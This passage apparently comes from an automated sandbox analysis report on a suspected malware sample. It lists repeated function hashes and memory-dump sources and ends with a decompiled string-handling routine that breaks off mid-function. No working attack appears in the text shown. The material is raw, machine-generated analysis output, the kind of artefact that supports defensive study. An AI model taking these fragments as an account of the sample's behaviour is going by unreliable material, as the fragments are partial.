                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 90b05f3fecda7f929f2e9b0096f3b960405ad144b6d9e06fe5a4b2690f16b619
                                                                                                                • Instruction ID: 63ff205934cc5a317de1f41bd9abc1de1dadbb0d2d13500637bbd8c997b386c1
                                                                                                                • Opcode Fuzzy Hash: 90b05f3fecda7f929f2e9b0096f3b960405ad144b6d9e06fe5a4b2690f16b619
                                                                                                                • Instruction Fuzzy Hash: 36C1AA82E3F7159AE7C33030C561795FB81EF27182D14CB9B9829B18A17B2F4ECE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 15be531fb48d91ecc1b3601ca7745d150ce2fb3439e9be927236908c9b1bfbe8
                                                                                                                • Instruction ID: 25559435fd07c1e0355c7e17e7928371823350641f7c413d4fd4845d3dfaaaca
                                                                                                                • Opcode Fuzzy Hash: 15be531fb48d91ecc1b3601ca7745d150ce2fb3439e9be927236908c9b1bfbe8
                                                                                                                • Instruction Fuzzy Hash: 13C1AA82E3F7259AE7C32030C561795FB81EF27582D14CB9B9829B18A17B2F4ECE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e5657683adf5c37683758240631225fed4cd5502f711d4a1a03fa33bc5d5f0eb
                                                                                                                • Instruction ID: 891558cf7bbceeb02b5fa74f867ed20dcdb63692cee7814f06a1b23bfb5923dc
                                                                                                                • Opcode Fuzzy Hash: e5657683adf5c37683758240631225fed4cd5502f711d4a1a03fa33bc5d5f0eb
                                                                                                                • Instruction Fuzzy Hash: C6B19A83E3F7159AE3837170C161791BB90DF23582D51CBDB9C2AB19A63B1B4A8E44D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e49aec5d0eb468a4fcdf655e18703c315dbf6f068f01ddf0b5986e0cb5956daa
                                                                                                                • Instruction ID: b2e865c145e5f87474b9cdb98b72ddfbe3fbc0aa56a654166128e3dc851c0431
                                                                                                                • Opcode Fuzzy Hash: e49aec5d0eb468a4fcdf655e18703c315dbf6f068f01ddf0b5986e0cb5956daa
                                                                                                                • Instruction Fuzzy Hash: 5AD18A83E3F7159AD3837171C121791BBD0DF23582D61CBDB982AB19A63B1B4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e2d6127fda68e56918e814e4124b250b20aa490acc6ddf1943ac44ef66ae311f
                                                                                                                • Instruction ID: e6390669b6bbf92cc698a6636d4a2c702e67c99788632e52b15ecb8b2fe6787f
                                                                                                                • Opcode Fuzzy Hash: e2d6127fda68e56918e814e4124b250b20aa490acc6ddf1943ac44ef66ae311f
                                                                                                                • Instruction Fuzzy Hash: 04C19B83E3F7159AE3937170C121791BBD0DF235C2D61CBDB982AB15A63B1B4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 79ecaa6d1827d2a828f017fd01cd44dc6c19c92b4dfa1951a473505380b7b4d5
                                                                                                                • Instruction ID: 0a08e1c31dd0c3314c0c0c8354e6e2220a8217f542c917ed038a893f4ef96615
                                                                                                                • Opcode Fuzzy Hash: 79ecaa6d1827d2a828f017fd01cd44dc6c19c92b4dfa1951a473505380b7b4d5
                                                                                                                • Instruction Fuzzy Hash: 62C19886E3F7258AE7C32030C561795FB81EF27182D14CBDB9829B18A17B2F4BCE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4bb5be641cf1747ff42a43e6956a05edf894dcc12350325215869779bf977487
                                                                                                                • Instruction ID: 2964b911357044a8b1319044a00b1745fbad22c2dc1f43512ed445e943821c0b
                                                                                                                • Opcode Fuzzy Hash: 4bb5be641cf1747ff42a43e6956a05edf894dcc12350325215869779bf977487
                                                                                                                • Instruction Fuzzy Hash: 4CD1BB82E3F7259AE7C33030C561795BB85EF27486D14CB9B9825B18A17B2F4FCE4494
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2617c8baabeffb20eecd312748b3dd0416660e2705426ef9898dde7ad6e96da9
                                                                                                                • Instruction ID: 014ef8cc73c84a632e5c72a412023999d47d4fe4b72edc87c664bcd31460eaae
                                                                                                                • Opcode Fuzzy Hash: 2617c8baabeffb20eecd312748b3dd0416660e2705426ef9898dde7ad6e96da9
                                                                                                                • Instruction Fuzzy Hash: 14D18A83E3F7159AE3937170C121791BBD0DF23582D61CBDB982AB15A63B1B4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d04a34ae9e415b64e4143a3747c8d07d2986ed128bbcbb0a0d0a33d0fdc49cc4
                                                                                                                • Instruction ID: 369c0d49579f8991b6db4eedf16b5317a13020a63b9e1a1ce9f1dabae26b5e68
                                                                                                                • Opcode Fuzzy Hash: d04a34ae9e415b64e4143a3747c8d07d2986ed128bbcbb0a0d0a33d0fdc49cc4
                                                                                                                • Instruction Fuzzy Hash: E4D18A83E3F7169AD3837170C161791BBD0DF235C2D61CBDB982AB15A63B1B4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3d41788952a2555c4e19a5782b7723ba05a3011d6d1f2cae0b7895bd318d134e
                                                                                                                • Instruction ID: b139d13d2d265e644098df8de91810b034b377c3f368aed040f1e96144a4573f
                                                                                                                • Opcode Fuzzy Hash: 3d41788952a2555c4e19a5782b7723ba05a3011d6d1f2cae0b7895bd318d134e
                                                                                                                • Instruction Fuzzy Hash: 1091CE92E3F7258AE7C33030C661795FB51DF27183E148BDA8829F14617B2F4ACE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: df50fa7c267f155bf1e1b268177065db86829ad2e4a95cad36f645f09c40baae
                                                                                                                • Instruction ID: 5ae733a31207ef607879438c6ec54a2eef2a441dba477a4f74a46f8c85fb0f3e
                                                                                                                • Opcode Fuzzy Hash: df50fa7c267f155bf1e1b268177065db86829ad2e4a95cad36f645f09c40baae
                                                                                                                • Instruction Fuzzy Hash: 49C1A983E3F7159AE3837170C121791BBD0DF23582D51CBDB9C2AB19A63B1B4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 37e14de6ff968369b77763ca61083fce5c0487949bfc5653a7d347879819bf12
                                                                                                                • Instruction ID: 277996e685653af458c6d99bbcbf4470335021529b8c4a7365a0ce32d411db79
                                                                                                                • Opcode Fuzzy Hash: 37e14de6ff968369b77763ca61083fce5c0487949bfc5653a7d347879819bf12
                                                                                                                • Instruction Fuzzy Hash: 4CB19A92E3F7259AE7C33030C561795FB81DF27183E148BDB9829B18617B2F4ACE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c97c6fb47a5f0a3325b98077964b39059b5ce1fadd3789804a749d9a5c48be65
                                                                                                                • Instruction ID: 311504cabedd5fc07ff3c5915958e9bb776d99dcb3deb85ec8fc5da25c21baa3
                                                                                                                • Opcode Fuzzy Hash: c97c6fb47a5f0a3325b98077964b39059b5ce1fadd3789804a749d9a5c48be65
                                                                                                                • Instruction Fuzzy Hash: AAB19B82E3F7259AE7C330308561795FA81DF27183D148BDB982AB14A17B2F4BCE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 485c39185f80781e107c73014b3e2ac23cfd34d7ed5bfec74ddd0c1f909da64d
                                                                                                                • Instruction ID: f57b1d7bb762c71a3f0af07c23ea04a00fe38857ff5a8bc09163349d972280a5
                                                                                                                • Opcode Fuzzy Hash: 485c39185f80781e107c73014b3e2ac23cfd34d7ed5bfec74ddd0c1f909da64d
                                                                                                                • Instruction Fuzzy Hash: 9CB19B96E3F7259AE7C33030C161795FB81DF27183D14CB9B9829B18A17B2F4ACE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: dff3bd572072e5b5fc3112317befdf730cded38a12fe2a0a4c8fe0de122ba4e1
                                                                                                                • Instruction ID: 35f58bce80b6d0bb387ce255900023fe6d459ac678152558409ce487cc1bf9e2
                                                                                                                • Opcode Fuzzy Hash: dff3bd572072e5b5fc3112317befdf730cded38a12fe2a0a4c8fe0de122ba4e1
                                                                                                                • Instruction Fuzzy Hash: 72A1BB82E3F7259AE7C330308561795FB91DF27183D14CBDB9829B18617B2F4ACE4598
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 18ba7f98343d6dbad42e2105b2b96e25144ca33ee171908410c88251f9b139d6
                                                                                                                • Instruction ID: 052df89cb867220a1fbe541bdcff36f8372e94f3d775cb8ca754792c0d3afd83
                                                                                                                • Opcode Fuzzy Hash: 18ba7f98343d6dbad42e2105b2b96e25144ca33ee171908410c88251f9b139d6
                                                                                                                • Instruction Fuzzy Hash: 9EA1BD92E3F7258BE7C33030C661795FB91DF27183E148BDA9829B14617B2F4ACE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e3eda9e50ef3320e4395d6b2764b8bbfbfa5d340761f5d67144f740ec2606c8b
                                                                                                                • Instruction ID: bd994512189da0c9b6cd429debf090faabad37de22e54ff3e18c2f97e5071d0e
                                                                                                                • Opcode Fuzzy Hash: e3eda9e50ef3320e4395d6b2764b8bbfbfa5d340761f5d67144f740ec2606c8b
                                                                                                                • Instruction Fuzzy Hash: DD91AC92E3F7258AE7C33030C6617A5FB519F27183D148BDA9829B18617B2F8ACE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0d939fd27bdfa9c47d327de71242ea27dc5ea84fa5bea67b3fee2fd753e9f487
                                                                                                                • Instruction ID: af1751b06242349aa651e3c60feab9504a620261c3afea8dab51549bbffcd694
                                                                                                                • Opcode Fuzzy Hash: 0d939fd27bdfa9c47d327de71242ea27dc5ea84fa5bea67b3fee2fd753e9f487
                                                                                                                • Instruction Fuzzy Hash: 5A91CD92E3F7258AE7C33030C661795FB41DF27183E148BDA9829B18617B2F4ACE8594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b56734056141a8b43fd04504c27db35d66eb1d8a92080714fab4ef567679de40
                                                                                                                • Instruction ID: 51738dab66d699c88f249e6093f3e8c46af0500b62ad0f98ba43067d2f3280b8
                                                                                                                • Opcode Fuzzy Hash: b56734056141a8b43fd04504c27db35d66eb1d8a92080714fab4ef567679de40
                                                                                                                • Instruction Fuzzy Hash: BB91CD92E3F7258AE7C32030C6617A5FB419F27143E14CBDB9829F1861BB2F4ACE4594
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2e736129bfe90beec87cbb7cf2dd91334028388ae4a673cb4057611f8143a586
                                                                                                                • Instruction ID: 58536eb3fa9cfc9f1af4672497fa6871855d4f9eb1d020cdccdd66cf7e622d22
                                                                                                                • Opcode Fuzzy Hash: 2e736129bfe90beec87cbb7cf2dd91334028388ae4a673cb4057611f8143a586
                                                                                                                • Instruction Fuzzy Hash: DD812775A0834A9FDB34AF388C657EB7BA6EF58350F85412EECC99B240CB318941CB51
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a8528cb261cda3d89341de93a6500813097690769f4026147f49fc1ce0c0106c
                                                                                                                • Instruction ID: a7d93538b32f08afd9b775b98d7393555dc22a00ec3955ad18d58b5c84400f79
                                                                                                                • Opcode Fuzzy Hash: a8528cb261cda3d89341de93a6500813097690769f4026147f49fc1ce0c0106c
                                                                                                                • Instruction Fuzzy Hash: 65710575A0834A9FDB34AF388C557EB7BA6EF58350F85452EECC99B240CB318941CB91
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID: CreateFile
                                                                                                                • String ID:
                                                                                                                • API String ID: 823142352-0
                                                                                                                • Opcode ID: 716d9d4cafc981eb0fdd0b6684f2062d2fe2a2a217f493c7ea6bdb756fe668cb
                                                                                                                • Instruction ID: 39a9690c2d7086e012bb256db2133fd943d09185cb269c0dcd8f21d1621a13d4
                                                                                                                • Opcode Fuzzy Hash: 716d9d4cafc981eb0fdd0b6684f2062d2fe2a2a217f493c7ea6bdb756fe668cb
                                                                                                                • Instruction Fuzzy Hash: FE4121B190874ACFDB34AE248C59BDB37B7AF91310FA1445EDC88AB114C3318A89CB42
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 45f79ac45e30a13814f7ccff7b27d5e04dbaabcb56c1e477e4c457d230cf6fe3
                                                                                                                • Instruction ID: f7fe5fe26816af4381a98a4fa9fe3f0afd60afadc42d2cab1767d9c817c838d6
                                                                                                                • Opcode Fuzzy Hash: 45f79ac45e30a13814f7ccff7b27d5e04dbaabcb56c1e477e4c457d230cf6fe3
                                                                                                                • Instruction Fuzzy Hash: F64116B2608342DFDF386E6C8A253FB36E59F19790F85052EAC8AD7504D7348D82CB55
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: eb266dccd28a3926904682da2e5d6dcab9a1f18276e315febabe7c5392706447
                                                                                                                • Instruction ID: bff043c4dcbd93cb64dc73289dc49a510c2c970008294e23fd2472aefab2a431
                                                                                                                • Opcode Fuzzy Hash: eb266dccd28a3926904682da2e5d6dcab9a1f18276e315febabe7c5392706447
                                                                                                                • Instruction Fuzzy Hash: DE31B0B1B003558FCB789D6889E47EA32E2AF59380F9A416EDD4AAB751D7306840C712
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c7342aec5d1186de1972ded9c16c5013fe02195a4da03613a9b7f03568532fca
                                                                                                                • Instruction ID: 7bae4f3ccdc321ac1c8de99375834cd2bcdc09d10a184fa6b0af8ae472e92dc9
                                                                                                                • Opcode Fuzzy Hash: c7342aec5d1186de1972ded9c16c5013fe02195a4da03613a9b7f03568532fca
                                                                                                                • Instruction Fuzzy Hash: B111363524968686DF65DE39D6743FA3BA2CF8A3D0F64407FDC47CB251EB3085458206
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
                                                                                                                • Instruction ID: bebcbd0f18a999ce64e2d619b59837d29f74db5f3d96bd371bc818b82041d4c7
                                                                                                                • Opcode Fuzzy Hash: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
                                                                                                                • Instruction Fuzzy Hash: F9B00179662A80CFCE96CF09C290E40B3B4FB48B50F4258D0E8118BB22C268E900CA10
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 75%
                                                                                                                			E70692655() {
                                                                                                                				intOrPtr _t24;
                                                                                                                				void* _t26;
                                                                                                                				intOrPtr _t27;
                                                                                                                				signed int _t39;
                                                                                                                				void* _t40;
                                                                                                                				void* _t43;
                                                                                                                				intOrPtr _t44;
                                                                                                                				void* _t45;
                                                                                                                
                                                                                                                				_t40 = E706912BB();
                                                                                                                				_t24 =  *((intOrPtr*)(_t45 + 0x18));
                                                                                                                				_t44 =  *((intOrPtr*)(_t24 + 0x1014));
                                                                                                                				_t43 = (_t44 + 0x81 << 5) + _t24;
                                                                                                                				do {
                                                                                                                					if( *((intOrPtr*)(_t43 - 4)) >= 0) {
                                                                                                                					}
                                                                                                                					_t39 =  *(_t43 - 8) & 0x000000ff;
                                                                                                                					if(_t39 <= 7) {
                                                                                                                						switch( *((intOrPtr*)(_t39 * 4 +  &M70692784))) {
                                                                                                                							case 0:
                                                                                                                								 *_t40 = 0;
                                                                                                                								goto L17;
                                                                                                                							case 1:
                                                                                                                								__eax =  *__eax;
                                                                                                                								if(__ecx > __ebx) {
                                                                                                                									 *(__esp + 0x10) = __ecx;
                                                                                                                									__ecx =  *(0x7069407c + __edx * 4);
                                                                                                                									__edx =  *(__esp + 0x10);
                                                                                                                									__ecx = __ecx * __edx;
                                                                                                                									asm("sbb edx, edx");
                                                                                                                									__edx = __edx & __ecx;
                                                                                                                									__eax = __eax &  *(0x7069409c + __edx * 4);
                                                                                                                								}
                                                                                                                								_push(__eax);
                                                                                                                								goto L15;
                                                                                                                							case 2:
                                                                                                                								__eax = E70691510(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
                                                                                                                								goto L16;
                                                                                                                							case 3:
                                                                                                                								__ecx =  *0x7069506c;
                                                                                                                								__edx = __ecx - 1;
                                                                                                                								__eax = MultiByteToWideChar(__ebx, __ebx,  *__eax, __ecx, __edi, __edx);
                                                                                                                								__eax =  *0x7069506c;
                                                                                                                								 *((short*)(__edi + __eax * 2 - 2)) = __bx;
                                                                                                                								goto L17;
                                                                                                                							case 4:
                                                                                                                								__eax = lstrcpynW(__edi,  *__eax,  *0x7069506c);
                                                                                                                								goto L17;
                                                                                                                							case 5:
                                                                                                                								_push( *0x7069506c);
                                                                                                                								_push(__edi);
                                                                                                                								_push( *__eax);
                                                                                                                								__imp__StringFromGUID2();
                                                                                                                								goto L17;
                                                                                                                							case 6:
                                                                                                                								_push( *__esi);
                                                                                                                								L15:
                                                                                                                								__eax = wsprintfW(__edi, 0x70695000);
                                                                                                                								L16:
                                                                                                                								__esp = __esp + 0xc;
                                                                                                                								goto L17;
                                                                                                                						}
                                                                                                                					}
                                                                                                                					L17:
                                                                                                                					_t26 =  *(_t43 + 0x14);
                                                                                                                					if(_t26 != 0 && ( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x18)))) != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
                                                                                                                						GlobalFree(_t26);
                                                                                                                					}
                                                                                                                					_t27 =  *((intOrPtr*)(_t43 + 0xc));
                                                                                                                					if(_t27 != 0) {
                                                                                                                						if(_t27 != 0xffffffff) {
                                                                                                                							if(_t27 > 0) {
                                                                                                                								E70691381(_t27 - 1, _t40);
                                                                                                                								goto L26;
                                                                                                                							}
                                                                                                                						} else {
                                                                                                                							E70691312(_t40);
                                                                                                                							L26:
                                                                                                                						}
                                                                                                                					}
